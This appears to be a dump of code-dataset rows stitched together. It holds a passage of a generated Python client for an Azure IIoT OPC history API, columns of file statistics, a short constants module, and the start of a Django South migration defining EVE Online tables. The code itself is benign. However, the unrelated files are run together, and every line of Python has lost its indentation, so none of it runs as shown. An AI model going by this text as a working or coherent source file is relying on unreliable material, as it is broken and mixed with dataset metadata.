query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReadEventsDetailsApiModelHistoryReadRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricEventApiModelHistoryReadResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_events.metadata = {'url': '/v2/read/{endpointId}/events'}
def history_read_events_next(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read next batch of historic events.
Read next batch of historic events of a node using historic access. The
endpoint must be activated and connected and the module client and
server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read next request
:type body:
~azure-iiot-opc-history.models.HistoryReadNextRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricEventApiModelHistoryReadNextResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricEventApiModelHistoryReadNextResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_events_next.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'HistoryReadNextRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricEventApiModelHistoryReadNextResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_events_next.metadata = {'url': '/v2/read/{endpointId}/events/next'}
def history_read_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read historic processed values at specified times.
Read processed history values of a node if available using historic
access. The endpoint must be activated and connected and the module
client and server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read request
:type body:
~azure-iiot-opc-history.models.ReadValuesDetailsApiModelHistoryReadRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricValueApiModelHistoryReadResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricValueApiModelHistoryReadResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReadValuesDetailsApiModelHistoryReadRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricValueApiModelHistoryReadResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_values.metadata = {'url': '/v2/read/{endpointId}/values'}
def history_read_values_at_times(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read historic values at specified times.
Read historic values of a node if available using historic access. The
endpoint must be activated and connected and the module client and
server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read request
:type body:
~azure-iiot-opc-history.models.ReadValuesAtTimesDetailsApiModelHistoryReadRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricValueApiModelHistoryReadResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricValueApiModelHistoryReadResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_values_at_times.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReadValuesAtTimesDetailsApiModelHistoryReadRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricValueApiModelHistoryReadResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_values_at_times.metadata = {'url': '/v2/read/{endpointId}/values/pick'}
def history_read_processed_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read historic processed values at specified times.
Read processed history values of a node if available using historic
access. The endpoint must be activated and connected and the module
client and server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read request
:type body:
~azure-iiot-opc-history.models.ReadProcessedValuesDetailsApiModelHistoryReadRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricValueApiModelHistoryReadResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricValueApiModelHistoryReadResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_processed_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReadProcessedValuesDetailsApiModelHistoryReadRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricValueApiModelHistoryReadResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_processed_values.metadata = {'url': '/v2/read/{endpointId}/values/processed'}
def history_read_modified_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read historic modified values at specified times.
Read processed history values of a node if available using historic
access. The endpoint must be activated and connected and the module
client and server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read request
:type body:
~azure-iiot-opc-history.models.ReadModifiedValuesDetailsApiModelHistoryReadRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricValueApiModelHistoryReadResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricValueApiModelHistoryReadResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_modified_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReadModifiedValuesDetailsApiModelHistoryReadRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricValueApiModelHistoryReadResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_modified_values.metadata = {'url': '/v2/read/{endpointId}/values/modified'}
def history_read_value_next(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Read next batch of historic values.
Read next batch of historic values of a node using historic access. The
endpoint must be activated and connected and the module client and
server must trust each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history read next request
:type body:
~azure-iiot-opc-history.models.HistoryReadNextRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoricValueApiModelHistoryReadNextResponseApiModel or
ClientRawResponse if raw=true
:rtype:
~azure-iiot-opc-history.models.HistoricValueApiModelHistoryReadNextResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_read_value_next.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'HistoryReadNextRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoricValueApiModelHistoryReadNextResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_read_value_next.metadata = {'url': '/v2/read/{endpointId}/values/next'}
def history_replace_values(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Replace historic values.
Replace historic values using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history replace request
:type body:
~azure-iiot-opc-history.models.ReplaceValuesDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_replace_values.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReplaceValuesDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_replace_values.metadata = {'url': '/v2/replace/{endpointId}/values'}
def history_replace_events(
self, endpoint_id, body, custom_headers=None, raw=False, **operation_config):
"""Replace historic events.
Replace historic events using historic access. The endpoint must be
activated and connected and the module client and server must trust
each other.
:param endpoint_id: The identifier of the activated endpoint.
:type endpoint_id: str
:param body: The history replace request
:type body:
~azure-iiot-opc-history.models.ReplaceEventsDetailsApiModelHistoryUpdateRequestApiModel
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: HistoryUpdateResponseApiModel or ClientRawResponse if
raw=true
:rtype: ~azure-iiot-opc-history.models.HistoryUpdateResponseApiModel
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.history_replace_events.metadata['url']
path_format_arguments = {
'endpointId': self._serialize.url("endpoint_id", endpoint_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
body_content = self._serialize.body(body, 'ReplaceEventsDetailsApiModelHistoryUpdateRequestApiModel')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('HistoryUpdateResponseApiModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
history_replace_events.metadata = {'url': '/v2/replace/{endpointId}/events'}
| 41.182927
| 116
| 0.681256
| 5,067
| 50,655
| 6.641603
| 0.042826
| 0.026744
| 0.021395
| 0.020325
| 0.880516
| 0.869878
| 0.858319
| 0.851692
| 0.851692
| 0.851692
| 0
| 0.004034
| 0.241556
| 50,655
| 1,229
| 117
| 41.216436
| 0.871912
| 0.386892
| 0
| 0.770791
| 0
| 0
| 0.134644
| 0.096123
| 0
| 0
| 0
| 0
| 0
| 1
| 0.040568
| false
| 0
| 0.01217
| 0
| 0.129817
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e3d0b5dc1ec3508fd73a699865984f4889e81bc0
| 309
|
py
|
Python
|
callisto/libs/domains/consts.py
|
isabella232/callisto
|
182b9c3a56d13fbb3f8f199a984b4c4be6c17e9f
|
[
"MIT"
] | 84
|
2020-02-18T14:58:35.000Z
|
2022-03-04T22:34:46.000Z
|
callisto/libs/domains/consts.py
|
wrike/callisto
|
182b9c3a56d13fbb3f8f199a984b4c4be6c17e9f
|
[
"MIT"
] | 6
|
2020-07-13T19:31:07.000Z
|
2022-03-30T15:35:23.000Z
|
callisto/libs/domains/consts.py
|
isabella232/callisto
|
182b9c3a56d13fbb3f8f199a984b4c4be6c17e9f
|
[
"MIT"
] | 9
|
2021-03-08T10:17:29.000Z
|
2022-03-04T12:21:53.000Z
|
from __future__ import annotations
HEALTH_CHECK_USE_CASE_KEY = '__health_check_use_case_key__'
METRICS_USE_CASE_KEY = '__metrics_use_case_key__'
SESSION_USE_CASE_KEY = '__session_use_case_key__'
STATUS_USE_CASE_KEY = '__status_use_case_key__'
WEBDRIVER_LOGS_USE_CASE_KEY = '__webdriver_logs_use_case_key__'
| 34.333333
| 63
| 0.883495
| 48
| 309
| 4.479167
| 0.291667
| 0.325581
| 0.465116
| 0.167442
| 0.874419
| 0.725581
| 0.725581
| 0.260465
| 0
| 0
| 0
| 0
| 0.067961
| 309
| 8
| 64
| 38.625
| 0.746528
| 0
| 0
| 0
| 0
| 0
| 0.423948
| 0.423948
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
58152fde5158abf3c4a45922eb29dfcf7ea47284
| 155,789
|
py
|
Python
|
eve_db/migrations/0001_initial.py
|
caot/django-eve-db
|
425a84de4fde2b14ab17cfb81c2c2609fa427381
|
[
"BSD-3-Clause"
] | 6
|
2015-04-07T15:03:15.000Z
|
2020-03-01T07:35:35.000Z
|
eve_db/migrations/0001_initial.py
|
caot/django-eve-db
|
425a84de4fde2b14ab17cfb81c2c2609fa427381
|
[
"BSD-3-Clause"
] | 2
|
2015-03-07T17:56:03.000Z
|
2015-09-28T16:35:28.000Z
|
eve_db/migrations/0001_initial.py
|
caot/django-eve-db
|
425a84de4fde2b14ab17cfb81c2c2609fa427381
|
[
"BSD-3-Clause"
] | 8
|
2015-03-16T12:50:19.000Z
|
2019-06-07T15:19:37.000Z
|
# encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'EveName'
db.create_table('eve_db_evename', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255)),
('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvCategory'], null=True, blank=True)),
('group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvGroup'], null=True, blank=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['EveName'])
# Adding model 'EveUnit'
db.create_table('eve_db_eveunit', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=75)),
('display_name', self.gf('django.db.models.fields.CharField')(max_length=30, blank=True)),
('description', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
))
db.send_create_signal('eve_db', ['EveUnit'])
# Adding model 'EveIcon'
db.create_table('eve_db_eveicon', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('file', self.gf('django.db.models.fields.TextField')(blank=True)),
('description', self.gf('django.db.models.fields.CharField')(max_length=255)),
))
db.send_create_signal('eve_db', ['EveIcon'])
# Adding model 'EveGraphic'
db.create_table('eve_db_evegraphic', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=50)),
('description', self.gf('django.db.models.fields.CharField')(max_length=255)),
('file', self.gf('django.db.models.fields.TextField')(blank=True)),
('is_obsolete', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('eve_db', ['EveGraphic'])
# Adding model 'InvMarketGroup'
db.create_table('eve_db_invmarketgroup', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=50)),
('description', self.gf('django.db.models.fields.CharField')(max_length=255)),
('parent', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvMarketGroup'], null=True, blank=True)),
('has_items', self.gf('django.db.models.fields.BooleanField')(default=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvMarketGroup'])
# Adding model 'InvCategory'
db.create_table('eve_db_invcategory', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=50)),
('description', self.gf('django.db.models.fields.CharField')(max_length=255)),
('is_published', self.gf('django.db.models.fields.BooleanField')(default=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvCategory'])
# Adding model 'InvGroup'
db.create_table('eve_db_invgroup', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvCategory'], null=True, blank=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=150)),
('description', self.gf('django.db.models.fields.TextField')()),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('use_base_price', self.gf('django.db.models.fields.BooleanField')(default=False)),
('allow_manufacture', self.gf('django.db.models.fields.BooleanField')(default=True)),
('allow_recycle', self.gf('django.db.models.fields.BooleanField')(default=True)),
('allow_anchoring', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_anchored', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_fittable_non_singleton', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_published', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('eve_db', ['InvGroup'])
# Adding model 'InvMetaGroup'
db.create_table('eve_db_invmetagroup', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255)),
('description', self.gf('django.db.models.fields.TextField')()),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvMetaGroup'])
# Adding model 'InvType'
db.create_table('eve_db_invtype', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvGroup'], null=True, blank=True)),
('market_group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvMarketGroup'], null=True, blank=True)),
('graphic', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveGraphic'], null=True, blank=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('radius', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('mass', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('volume', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('capacity', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('portion_size', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('race', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.ChrRace'], null=True, blank=True)),
('base_price', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('is_published', self.gf('django.db.models.fields.BooleanField')(default=False)),
('chance_of_duplicating', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvType'])
# Adding model 'InvTypeMaterial'
db.create_table('eve_db_invtypematerial', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='material_set', to=orm['eve_db.InvType'])),
('material_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='itemtype_set', to=orm['eve_db.InvType'])),
('quantity', self.gf('django.db.models.fields.IntegerField')(default=0)),
))
db.send_create_signal('eve_db', ['InvTypeMaterial'])
# Adding unique constraint on 'InvTypeMaterial', fields ['type', 'material_type']
db.create_unique('eve_db_invtypematerial', ['type_id', 'material_type_id'])
# Adding model 'InvMetaType'
db.create_table('eve_db_invmetatype', (
('type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='inventorymetatype_type_set', unique=True, primary_key=True, to=orm['eve_db.InvType'])),
('parent_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='inventorymetatype_parent_type_set', to=orm['eve_db.InvType'])),
('meta_group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvMetaGroup'])),
))
db.send_create_signal('eve_db', ['InvMetaType'])
# Adding model 'InvFlag'
db.create_table('eve_db_invflag', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255)),
('text', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('type_text', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('order', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvFlag'])
# Adding model 'DgmAttributeCategory'
db.create_table('eve_db_dgmattributecategory', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=30)),
('description', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
))
db.send_create_signal('eve_db', ['DgmAttributeCategory'])
# Adding model 'DgmAttributeType'
db.create_table('eve_db_dgmattributetype', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=75)),
('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.DgmAttributeCategory'], null=True, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('defaultvalue', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('is_published', self.gf('django.db.models.fields.BooleanField')(default=False)),
('display_name', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('unit', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveUnit'], null=True, blank=True)),
('is_stackable', self.gf('django.db.models.fields.BooleanField')(default=False)),
('high_is_good', self.gf('django.db.models.fields.BooleanField')(default=True)),
))
db.send_create_signal('eve_db', ['DgmAttributeType'])
# Adding model 'DgmTypeAttribute'
db.create_table('eve_db_dgmtypeattribute', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('inventory_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'])),
('attribute', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.DgmAttributeType'])),
('value_int', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('value_float', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['DgmTypeAttribute'])
# Adding unique constraint on 'DgmTypeAttribute', fields ['inventory_type', 'attribute']
db.create_unique('eve_db_dgmtypeattribute', ['inventory_type_id', 'attribute_id'])
# Adding model 'InvBlueprintType'
db.create_table('eve_db_invblueprinttype', (
('blueprint_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='blueprint_type_set', unique=True, primary_key=True, to=orm['eve_db.InvType'])),
('product_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='blueprint_product_type_set', to=orm['eve_db.InvType'])),
('parent_blueprint_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='parent_blueprint_type_set', null=True, to=orm['eve_db.InvType'])),
('tech_level', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('research_productivity_time', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('research_material_time', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('research_copy_time', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('research_tech_time', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('productivity_modifier', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('material_modifier', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('waste_factor', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('max_production_limit', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['InvBlueprintType'])
# Adding model 'DgmEffect'
db.create_table('eve_db_dgmeffect', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=150)),
('category', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('pre_expression', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('post_expression', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('guid', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('icon', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.EveIcon'], null=True, blank=True)),
('is_offensive', self.gf('django.db.models.fields.BooleanField')(default=False)),
('is_assistance', self.gf('django.db.models.fields.BooleanField')(default=False)),
